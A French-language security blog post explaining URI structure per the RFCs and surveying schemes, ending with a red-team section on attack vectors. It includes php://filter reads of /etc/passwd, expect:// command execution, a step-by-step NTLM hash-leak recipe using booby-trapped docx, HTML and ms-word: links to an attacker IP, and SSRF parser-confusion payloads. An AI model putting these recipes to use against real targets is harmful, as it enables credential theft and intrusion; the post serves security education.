
Les URI, vous connaissez ?
Hello,
Tout d’abord merci @TheLaluka pour la proposition de ce sujet fort intéressant.
On va commencer par le commencement (\o/), qu’est ce qu’un “Uniform Ressource Identifier” (URI) ?
Ce document se base sur les RFCs 3986 1808 1738 3966 et 2718 et j’en oublie sans doute. Il se base également sur cette liste officielle diffusée par l’IANA (qui régule les URI officiels depuis 2015) pour tous les protocoles (Historiques, provisoires et permanents).
Est-ce que j’ai tout lu ? absolument.
Dans cet article il va m’arriver d’employer des regex pour définir les caractères possibles. Exemple: “il se constitue des caractères a-zA-Z\d” signifie toutes les lettres de l’alphabet latin, minuscules, majuscules ainsi que les chiffres de 0 à 9.
Une/Un URI c’est un modèle/séquence de caractères qui permet d’identifier une ressource physique ou une ressource abstraite. Croyez moi, vous savez très bien ce que c’est, vous en utilisez tous les jours et plusieurs différents 🙂
/!\ Attention /!\
Ne pas confondre URI et URL ! l’URL (Uniform Ressource Locator) c’est une référence à une ressource WEB, l’URI définit une méthode d’accès à une ressource, permet l’exécution de code etc. l’URL est un URI spécifique !
Il ne faut pas confondre non plus avec les URNs (Uniform Ressource Name) qui ont été dépréciés (en même temps que URL d’ailleurs) dans la RFC 3986 au profit de l’appellation URI qui englobe les deux termes. Pour parler histoire rapidement, au départ dans les années ~90, on voulait identifier les ressources web avec un nom permanent (URN), qui aurait pu être résolu de la même manière qu’on résout un nom de domaine en IP aujourd’hui avec un DNS, l’URN aurait été traduite en un URC (Uniform Ressource Charateristic). D’ailleurs les URC étaient destinées à être compréhensibles par les humains et les machines, histoire de rendre la tâche facile, mais cette solution n’a jamais été adoptée. Je pense que ça devait être vachement lourd à mettre en place ? …
Bon revenons à nos moutons, on va diviser cette documentation en plusieurs points: L’URI et sa constitution normale, ensuite on verra les différents protocoles (ou schémas) les plus répandus, utiles et les plus cools. Enfin, on parlera des différents parsers de ces protocoles, leurs faiblesses et les vulnérabilités originales qu’on a pu avoir avec le temps.
Les URIs c’est quand même bien foutu
Le standard URI est -je trouve- vachement bien fait. Détaillons le:
Complet, une URI valide est de cette forme (en vert les parties optionnelles, en jaune les parties obligatoires et en orange les parties censées être obligatoires, mais qui peuvent être implicites et donc s’avérer optionnelles:
scheme:[//[user:password@]host[:port]]path[;param1=value1][?query[&key1=value1[;key2=value2]]][#fragment]
Avec tout ça, on a quand même la possibilité de donner les informations suivantes:
- Le protocole
- Un utilisateur et un mot de passe
- Une machine cible via son IP ou son nom de domaine
- Un port de connexion
- Un chemin vers une application/fonctionnalité avec une possibilité de spécifier des paramètres
- Une query constituée d’arguments “clé=valeur” séparés par un “&” ou un “;”
- Un fragment délimité après un “#”, qui définit une seconde ressource à appeler
Voici un schéma qui résume assez bien le principe, chaque niveau comprenant les informations nécessaires pour que tout fonctionne:
Pour la suite du document, voici les couleurs principales à retenir:
scheme://user:password@host:port/path;param?query&key1=value1;key2=value2#fragment
Le protocole
Le protocole ne peut pas être vide. Il est constitué de caractères latin a-zA-Z, des chiffres et les symboles “+“, “.” et “–“. Les protocoles sont sensibles a la casse ! Usuellement, ils sont en minuscules.
Même si les protocoles “officiels” doivent être déclarés à l’IANA, rien ne vous empêche d’en créer un pour vos applications (a part la RFC… Vilain PHP !).
Si “//” est spécifié après le protocole
Si les deux slash sont spécifiés, le parser va s’attendre à recevoir au moins une information identifiant la localisation du serveur hébergeant la ressource.
Cela peut être:
Une IPv4 ou IPv6 sous la forme: foo://[127.0.0.1]/ -> ip littérale
ou foo://127.0.0.1/ -> ipv4 décimale
Un nom d’hôte sous la forme: foo://elsicarius.fr
ou foo://internaldomain/
Point intéressant: les parsers qui font la différence entre un nom de domaine ou une IP (l’IP ne devant pas être résolue) se basent sur le principe du “c’est le premier qui match qui gagne“
Il peut être ajouté à l’hôte un nom d’utilisateur et un mot de passe. Il est évident que c’est une (très) mauvaise pratique que de spécifier le mot de passe dans l’URI, car peu (pas) sécurisée. la forme d’une URI contenant un utilisateur/mot de passe est la suivante:
user@elsicarius.fr-> Utilisateur “user” spécifié pour se connecter à l’hôte “elsicarius.fr”, le mot de passe sera fourni d’une manière sécurisée
sicarius:Str0ngPa$$w0rde@elsicarius.fr-> Utilisateur “sicarius” et mot de passe “Str0ngPa$$w0rde” spécifiés pour se connecter à l’hôte “elsicarius.fr”
sicarius:@elsicarius.fr-> Utilisateur “user” spécifié pour se connecter à l’hôte “elsicarius.fr”, avec l’indication qu’il n’y a pas de mot de passe.
Enfin, le port peut être précisé après l’Host de la manière décrite plus haut.
A noter que certains protocoles n’autorisent pas les parties user:password et port !
Le chemin
Le chemin n’est rien d’autre qu’une séquence de fichiers/dossiers séparés par un slash “/”. Le chemin est toujours défini dans l’URI, mais il peut être vide !
Il peut y avoir des segments vides dans la séquence, cela sera symbolisé par “//”. Il est important de noter que le chemin qu’on peut voir dans une URI va généralement rejoindre le chemin réel du système de fichiers du serveur, mais pas toujours.
Si vous spécifiez un hôte après le protocole, vous devrez absolument démarquer la partie hôte et le chemin avec un “/”. Enfin, si vous ne spécifiez pas d’hôte, le chemin ne peut pas commencer par un segment vide “//” car sinon le reste pourrait être interprété comme un hôte (ça serait ambigu !)
Enfin, un chemin peut être absolu ou relatif, c’est à dire que le chemin
“sicarius/./el/sicarius” == “sicarius/el/sicarius”
Et
“sicarius/../el/sicarius” == “sicarius/sicarius”
A noter que les chemins sont interprétés uniquement dans l’URI, et n’ont en théorie strictement rien à voir avec le potentiel chemin sur l’application cible, ou le système d’exploitation de la machine hôte.
Il y a des caractères réservés qui ne peuvent pas être utilisés comme élément du chemin:
/ ; = ?
Enfin, d’après la RFC 2396, chaque segment du chemin peut avoir des paramètres, qui seraient séparés par un “;” ou un “,” (même si cette dernière n’est en théorie pas autorisée par la RFC).
Il faut retenir que la syntaxe des paramètres va être différente selon les implémentations des protocoles des URIs.
Exemples:
L’URI mailto:sicarius@elsicarius.fr
à un chemin = “sicarius@elsicarius.fr” car il n’y a pas de “//”
L’URI foo://elsicarius.fr?sicarius
à un chemin vide !
L’URI foo://elsicarius.fr/ressource;v=1.1
correspond à une référence vers le paramètre “v”=”1.1” du segment “ressource”, la section “ressource” n’ayant pas de paramètres.
L’URI foo://elsicarius.fr/admin;JSESSIONID=abcdef1234566798abcfgytk
correspond à une référence vers le segment (ressource) “admin”, avec un paramètre spécifique “JSESSIONID”.
Théoriquement:
L’URI foo://elsicarius.fr/admin=1/homepage;v=1.1?logg=true#flag
correspond au segment admin avec pour paramètre “1”, la section homepage avec pour paramètre v=1.1, agrémenté de la query “logg=true” et du fragment “flag”
La query
La partie query d’un URI est aussi limitée avec des caractères réservés:
; / ? : @ & = + , $
Elle commence à la fin du chemin, avec la délimitation
chemin?query
Elle se termine au caractère # ou à la fin de l’URI.
Même si elle n’est pas bien définie dans la RFC, elle est normalement constituée d’informations sous la forme “clé=valeur” séparés par des “&” ou des “;” ou plus rarement, des “,”.
La ressource secondaire (fragment)
La ressource secondaire permet l’identification indirecte d’un élément de la ressource principale. Le fragment va se situer entre le symbole “#” et la fin de l’URI, c’est le dernier composant.
Elle peut contenir tous types de caractères ambigus avec le reste de l’URI (“/”, “?” etc).
Il n’est pas rare que cette ressource secondaire soit utilisée pour effectuer des actions dans la ressource principale.
Cette ressource secondaire n’est pas traitée par le protocole spécifié par l’URI, mais par l’outil qui utilise cette URI ! Exemple: sur le protocole http(s?), la ressource secondaire # ne sera pas traitée par le serveur, mais par le navigateur.
Exemple:
Considérons l’URI suivante:
https://elsicarius.fr/sharing/is/caring/URI#balise2-fin-2-page
Elle désigne les éléments suivants:
- Protocole utilisé: https
- Serveur cible: elsicarius.fr
- Chemin de la cible: “/sharing/is/caring”
- Cible finale: “URI”
- Fragment: balise2-fin-2-page
Elle sera interprétée par le navigateur, qui va résoudre et contacter le site “elsicarius.fr” en https (port par défaut 443), sur le chemin “/sharing/is/caring/URI“, et il va automatiquement chercher une balise HTML dans la page qui sera de la forme:
<balise id="balise2-fin-2-page"></balise>
Le comportement “d’aller chercher la balise correspondante” est spécifique aux navigateurs, qui s’en servent pour descendre sur la page web au bon endroit, mais il est aussi utilisé par d’autres protocoles, de manières différentes.
Spécificités
Il existe dans le vaste monde qu’est internet, des abréviations de ces URIs qui sont censées rendre le tout plus “user friendly”… D’après moi c’est tout le contraire.
- Vous avez déjà du rencontrer, si vous avez déjà regardé le code source d’une page web, des URIs abrégées avec seulement les parties:
"//hôte/chemin..."
/chemin/absolu/vers/une/ressource/sur/le/meme/serveur
-> ici, cela implique que le parser connaisse l’URI de base, où il appliquera le chemin !
#fragment_spécifique
www.site.com/chemin
Toutes ces spécificités sont référencées dans la RFC 3986 section 4 et 5.
- Autre spécificité, la rétro compatibilité avec les “futurs” protocoles IP. Je m’explique:
Il est précisé dans la RFC 3986 que -si jamais- de nouveaux standards IP étaient créés (autre que IPv4 ou IPv6), il y aurait une méthode de les utiliser dans les URI, sans devoir repenser le système.
Imaginons l’IPv16, avec une IP (inventée) : zzzzzzzz:789999zzmopùddd:fdq:sica:rius et bien il faudrait créer une URI de la forme:
foo://[v16.zzzzzzzz:789999zzmopùddd:fdq:sica:rius]/sharing/is/caring
ou
foo://v16.[zzzzzzzz:789999zzmopùddd:fdq:sica:rius]/sharing/is/caring
Cette implémentation permettrai d’esquiver les recherches heuristiques pour savoir directement de quel format d’adresses on parle.
Y’en a des vachement cool
Ici on va énumérer des URI spécifiques que j’ai trouvé sympas, je vous invite à aller voir la liste par vous même si l’un en particulier vous intéresse :).
Dans les exemples suivants, les couleurs représentent les éléments:
protocole://userinfo@host:port/path?query&key1=value1;key2=value2#fragment
Dons dans la très longue liste que l’IANA à mis à disposition, certains protocoles très intéressants sont remontés:
SHTTP
Oui oui, le SHTTP et non pas le HTTPS ! Définit en 1999 dans la RFC expérimentale 2660 (un an avant la RFC 2818 du HTTPS) !
Il se présente sous la forme d’une URI Standard:
shttp://elsicarius.fr:80/secret
Bon, c’est resté expérimental, et je pense que ça n’a jamais été implémenté nulle part.
Data
Définit par la RFC 2397
data:<mimetype>[;charset=<charset>][;base64][;param2=test],données
Exemple:
dans une balise html “embed”, on insère en src:
data:text/html,<h1>coucou<h1>
-> Sera interprété en html par le navigateur et affichera “coucou“
base64(<h1>coucou</h1>) == “PGgxPmNvdWNvdTwvaDE+”
data:text/html;base64,PGgxPmNvdWNvdTwvaDE+
-> Sera aussi interprété en html par le navigateur et affichera “coucou“
Mais il est possible de créer des fichiers en mémoire avec l’URI data ! Cela permet de donner en argument un fichier complet ! Exemple:
data:application/msword;base64,0M8R4KGxGu...
-> chargera en mémoire un fichier msword.
Les possibilités s’arrêtent au mime-type disponible ! autant dire que c’est presque infini.
à noter que les paramètres de l’URI data ne sont pas limités. l’URI suivante est totalement valide:
data:text/plain;charset=UTF-8;page=21,the%20data:1234,5678
A noter qu’il y a des doutes émis dans la RFC sur l’implémentation de l’URI “data”. En effet, c’est à l’implémentation de déterminer la longueur maximale des données contenues dans l’URI, et de mauvaises implémentations peuvent être une catastrophe.
File
Définit dans la RFC 8089
file:/chemin/vers/fichier
Exemples
file:///chemin/fichier
->chemin en local (implicite)
file:/chemin/fichier
-> chemin en local (implicite)
file://elsicarius.fr/chemin/fichier
-> chemin distant sur le serveur “elsicarius.fr“
file:c:/chemin/vers/fichier
== file:///c:/chemin/vers/fichier
-> Windows oblige, il fallait avoir le moyen de spécifier la lettre de lecteur pour le chemin, ça deviens ambigu pour le coup….
file:///c|/chemin/vers/fichier
== file:/c|/chemin/vers/fichier
== file:c|/chemin/vers/fichier
-> le c| sera remplacé par c: après traitement par le parser, il s’agit là d’une fonction assurant la compatibilité avec l’ancien système de fichier DOS.
PHP
L’URI php n’est pas définie comme connue de l’IANA. Pour cause, elle est pas nommée “URI” mais “Wrapper“, même si son fonctionnement est le même.
Pour avoir des documentations dessus, et sur tous les autres wrappers il faut se fier à la documentation disponible sur php.net: https://www.php.net/manual/en/wrappers.php
A noter que les commandes suivantes peuvent être exécutées un peu partout dans du PHP (includes, phpcurl etc.)
Nous avons donc dans la liste :
L’archive PHP
Une archive phar contient des fichiers contenant du code PHP, des ressources etc. et qui peut être exécutée via php archive.phar
Elle permet aussi d’aller chercher des fichiers directement dans des .zip dans le système de fichiers local
phar:///chemin/local/vers/fichier.zip/fichier_dans_le_zip.txt
ou encore:
include 'phar:///path/to/myphar.phar/file.php';
Les flux compressés Zlib, Zip, bzip2
Ces URI permettent toutes d’ouvrir des archives en PHP (similaires à gzopen(), bzopen()…)
zlib://fichier.gz
-> déprécié
compress.zlib://fichier.gz
bzip2://fichier.bz2
-> déprécié
compress.bzip2://fichier.bz2
zip://archive.zip#chemin/vers/file.txt
Des I/O PHP
php://stdin
-> accès au STDIN du processus PHP correspondant
php://stdout
et php://stderr
-> STDOUT et STDERR du processus PHP
php://input
-> permet de récupérer les informations contenues dans le body d’une requête HTTP
php://output
-> similaire à un echo ou print en PHP
php://fd/3
-> Accès au file descriptor “3” (correspondant à un fopen)
php://memory
-> créée un fichier en mémoire et y stocke le contenu, php://temp/maxmemory:2048
crée un fichier temporaire sur la machine si la taille est > 2MB (par défaut)
Un gros morceau:
php://filter/ressource=<URI de la ressource>
-> minimum requis pour faire fonctionner le wrapper
On peut lire une ressource et faire un traitement préalable avec des filtres:
php://filter/read=filtre1|filtre2|.../ressource=<URI de la ressource>
On peut écrire une ressource et faire un traitement préalable avec des filtres:
php://filter/write=filtre1|filtre2|.../ressource=<URI de la ressource>
On peut faire les deux, avec des filtres:
php://filter/filtre1/filtre2.../ressource=<URI de la ressource>/
Et des filtres, y’en a un paquet:
Exemples:
php://filter/read=convert.base64/ressource=file:///etc/passwd/ == php://filter/read=convert.base64/ressource=/etc/passwd/
php://filter/read=convert.base64/ressource=https://elsicarius.fr/private/0days.csv?access_token%3ddeadbeef
php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
…
De quoi trouver des chemins avec des patterns de reconnaissance
Le wrapper glob va nous permettre de récupérer le nom de plusieurs fichier grâce à des wildcards (“*”) !
glob://chemin/pattern_avec_*
Exemple:
glob://sica/rius/php_files/*.php
Des flux d’interaction avec le serveur
Le wrapper expect va nous permettre d’exécuter des commandes sous le système d’exploitation hôte !
expect://<commande>
Exemple:
expect://whoami
…..
(les autres ne vont pas nous intéresser ici)
Gopher
Lorsqu’un site présente une vulnérabilité SSRF, il peut s’avérer utile de vérifier la présence de gopher. Gopher est un protocole censé rivaliser avec HTTP. Seulement, sa complexité d’utilisation l’ont fait peu à peu disparaître, mais il est toujours disponible dans curl !
Voici la syntaxe d’une URI Gopher:
gopher://elsicarius.fr:port/<gophertype><selector>%09<search>%09<gopher+_string>
A savoir que pour exploiter une SSRF avec gopher, je vous conseille des tools qui génèrent des payloads comme: https://github.com/tarunkant/Gopherus
Généralement, on combine Redis et Gopher pour exploiter une cible vulnérable, redis ayant son propre modèle d’URI !
Microsoft
Les applications Word on aussi des URI spécifiques permettant tout un tas d’actions, comme la création de documents à partir de templates etc. C’est d’ailleurs définit ici: https://docs.microsoft.com/en-us/office/client-developer/office-uri-schemes?redirectedfrom=MSDN
De base, certaines URI bien placées sous Windows peuvent vous aider à récupérer les hash NTLM ! Exemple:
Vous avez une machine avec Responder prêt, en mode écoute.
Créez un docx, ouvrez le avec un gestionnaire d’archives, et dans le fichier word/_rels/settings.xml.rels renseignez le contenu:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file://<IP de l'attaquant>/leak/Template.dotx" TargetMode="External"/>
</Relationships>
Puis envoyez ce document à une cible, dès qu’elle l’ouvrira, vous aurez son hash NTLM 🙂
La même chose peut être reproduite avec un document html:
<!DOCTYPE html>
<html>
<img src="file://<IP de l'attaquant>/leak/leak.png"/>
</html>
Les arguments sont séparés par des “|” cette fois:
ms-powerpoint:ofe|u|https://elsicarius.fr/How_To_Buy_Odayx.ppt
-> ofe pour “edit document”, u pour “url” et ensuite le lien.
ms-excel:ofv|u|https://elsicarius.fr/Q4/Donations_to_my_website.xls
-> ofv pour “view document”, ensuite l’url.
ms-word:nft|u|https://sicarius.fr/templates/comment_télécharger_de_la_ram.pot|s|https://elsicarius.fr/presentations_NDH
-> nft pour “New document Ftom Template”, u la source du template, s le chemin de destination du nouveau document
ms-visio:…
ms-access:…
ms-project:…
ms-publisher:…
ms-spd:…
ms-infopath:…
Et il y en a encore beaucoup, beaucoup….
Avec tout ces nouveaux protocoles, on va reproduire l’attaque pour chopper le Hash NTLM. Gardez votre Responder actif, et créez une page HTML:
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<ip de l'attaquant>\leak\leak.docx';
</script>
</html>
Dès que la victime va ouvrir la page, vous aurez une requête interceptée sur Responder ! Magic
Misc
Il faut savoir que tout le monde peu créer son propre modèle d’URI.
C’est d’ailleurs ce qu’ont fait Steam pour lancer leur jeux, ou VisualStudio code pour leurs extensions, Spotify, Teamspeak etc, etc… Même SecondLife avait son modèle d’URI ! pour se déplacer sur les îles (les plus vieux d’entre nous connaissent).
Donc tous les répertorier ne serait pas envisageable (j’ai la flemme quand même un peu).
Cette partie sera donc mise a jour au fur et a mesure, le temps que je lise un peu les docs…
tel:+358-55-1234567
-> rfc 2806
tel:+1234567890;phone-context=+1234;vnd.company.option=foo
fax:+358.555.1234567
-> rfc 2806
about:blank
-> page vierge
view-source:<url>
-> montre le code source HTML de la page située à <url>
coap://example.net/.well-known/core
-> similaire à HTTP, c’est un protocole proposé par la RFC 7252 qui serait plus “léger”
Il existe de manière similaire:
coaps -> RFC 7252
coaps+ws -> RFC 8323
coaps+tcp -> RFC 8323
coap+ws -> RFC 8323
coap+tcp -> RFC 8323
ws://elsicarius.fr/chemin?query
->WebSockets : RFC 6455
wss: -> RFC 6455
udp://elsicarius.fr:1234
-> création d’une connexion UDP vers l’hôte distant. : https://metacpan.org/pod/URI::udp
modem:+3585551234567;type=v32b?7e1;type=v110
-> rfc 2806
ssh://sicarius;fingerprint=<host-key fingerprint>@elsicarius.fr:22
sftp://sicarius;fingerprint=<host-key fingerprint>@<host>:<port>
/<path>/<file>
Ceux là sont possiblement combinés avecGopher://
pour plus de pwn :)dict://<user>;<auth>@elsicarius.fr:<port>/m:<word>:<database>:<strat>:<n>
redis://sicarius:secret@elsicarius.fr:6379/0?foo=bar&qux=baz
ou sa version via TLS:
rediss://sicarius:secret@elsicarius.fr:6379/0?foo=bar&qux=baz
smb://<user>@<domaine>:<port>/<chemin>?<param1>=<valeur1>;<param2>=<valeur2>
ousmb://<user>@<workgroup>:<port>/
ou encoresmb://<domain>;<username>:<password>@<serveur>:<port>/<partage>/<chemin>?<param>=<valeur><param2>=<valeur2>
Exemple:smb://workgroup;Sicarius:Best_Password_Eu1west@elsicarius.fr:1337/partage_2_fichiers_prive/dossier_confidentiel/0days.txt
thismessage:/Fichier.pdf -> Destiné a résoudre les chemins absolus dans un message SOAP si les méthodes précédentes ont échoué : RFC 2557
...
Et ça a créé des vecteurs d’attaques (tout plein de vecteurs, et c’est ça qu’on aime!)
#redteaming oblige, il faut qu’on parle des vecteurs d’attaques. On en veut plein ! et y’en a eu (et y’en aura encore) plein. Et parce que tout le monde à décidé d’implémenter des parsers dans leur langage favori, créant plein de libs ultra cool qui comprennent différemment des jeux de caractères, il y a aussi plein de méthodes pour tromper ces parsers avec des URI mal formées !
Les URI vont nous permettre (en partie) d’exploiter:
- Des Local File Inclusion (LFI)
- Des Remote File Inclusion (RFI)
- Des Remote Code Execution (RCE (!!!!!))
- Des Server-side Request Forgery (SSRF)
- Des XXE…
Les parsers pétés
Commençons par nous référer à la RFC3986 paragraphe 5.4.2.
Elle décrit bien que certaines applications ont du mal à distinguer certains chemins, si des éléments spéciaux sont “mal” positionnés, les exemples suivants peuvent porter à confusion:
https://elsicarius.fr/a/b/c#d/e/f
https://elsicarius.fr/a/b/c?d/../f
https://elsicarius.fr/a/b/c;d=e/./g
Mais avec les travaux d’Orange Tsai et sa présentation à la BlackHat sur les SSRF on a appris de nouveaux vecteurs d’attaque, utilisant ces “éléments spéciaux mal positionnés”, comme celui-là:
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
La structure ici est très spécifique, mais avec tout ce dont nous avons parlé avant, elle peut se comprendre.
- Le protocole ne change pas: cela reste https.
- On peut distinguer 3 parties séparées par un ” “, qui est un caractère autorisé pour les URI
- Le premier élément de confusion est le “/” situé à la fin, ce “/” signifie que tout ce qui se trouve entre “//” et lui même est le nom d’hôte
- Si on parcours ce qui est censé être interprété comme l’hôte, on s’aperçois qu’il est constitué de 3 IP normalement constituées
- Chacune des IP est précédée d’un “@” qui signifie que ce qu’il se passe avant, c’est un nom d’utilisateur
- Enfin, on trouve le caractère “&” délimitant plusieurs arguments d’une query ?
- Ainsi que le caractère “#” délimitant un fragment.
Avec tout ceci, il est facile de comprendre que chaque parser à sa propre implémentation et que, par conséquent il comprendra pas forcément cet “hôte” mal formé de la même manière que les autres.
Ainsi, voici une représentation des différents parsers comprenant tous quelque chose de différent (cet exemple est mon préféré):
On peut par exemple imaginer :
Le parser urllib2 va prendre l’URI, se référer aux “//” et prendre la première IP valide qu’il trouve, soit 1.1.1.1, puis il y a un ” ” donc il ne prend pas en compte le reste.
Requests quand à lui va couper l’URL à tous les @ produisant le tableau suivant: [“1.1.1.1 &”, “2.2.2.2# “,”3.3.3.3”]. Il va ensuite prendre la première partie de son tableau : “1.1.1.1 &” (ou table[0]
en python) et considérer cette partie comme un utilisateur, puis va considérer 2.2.2.2 comme l’hôte, pour enfin considérer tout ce qu’il y a après # comme un fragment !
Enfin urllib va quand à lui inverser le processus de requests, et se fier à la dernière partie du tableau (l’élément “3.3.3.3”) (ou table[-1]
en python) pour être le nom d’hôte, et va prendre le premier élément de son tableau pour nom d’utilisateur.
Note: Ces explication sont une parmi tant d’autres, j’ai simplement interprété. Si vous êtes curieux vous pouvez aller voir le code des librairies urllib2, urllib et request par vous même 🙂
Quelques sources et payloads sympas pour finir 🙂
Dans cette partie on va parler sources de payloads !
Votre meilleur atout: Google ! Lisez mon article google-vous-connaissez si vous voulez en savoir plus sur “comment utiliser google” (*instant self promotion*)
SSRF
Pour vous renseigner sur les SSRF, je vous conseille:
- L’excellente présentation d’Orange Tsai sur le sujet: https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
- Le cours web de portswigger (burp): https://portswigger.net/web-security/ssrf
LFI, RFI …
Des articles comme : local-file-inclusion-lfi-web-application-penetration-testing sont très bien détaillés, trouvez ceux qui vous conviendront le plus !
Des payloads à gogo
Si vous êtes à la recherche de payloads à injecter tel-quel dans vos pentest je vous conseille le Github de @pentest_swissky qui est un incontournable:
Tool SSRFmap: https://github.com/swisskyrepo/SSRFmap
SSRF: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
LFI, RFI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
XXE: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
…..
Bon, je pense qu’on a fait le tour du sujet !
J’ai beaucoup appris pendant que je faisais cet article, qui m’a pris 2 jours de recherches et d’écriture en simultané !
J’espère que vous aussi vous avez appris un truc !
à bientôt ici ou sur mon tweeter 🙂
La bize !
Sicarius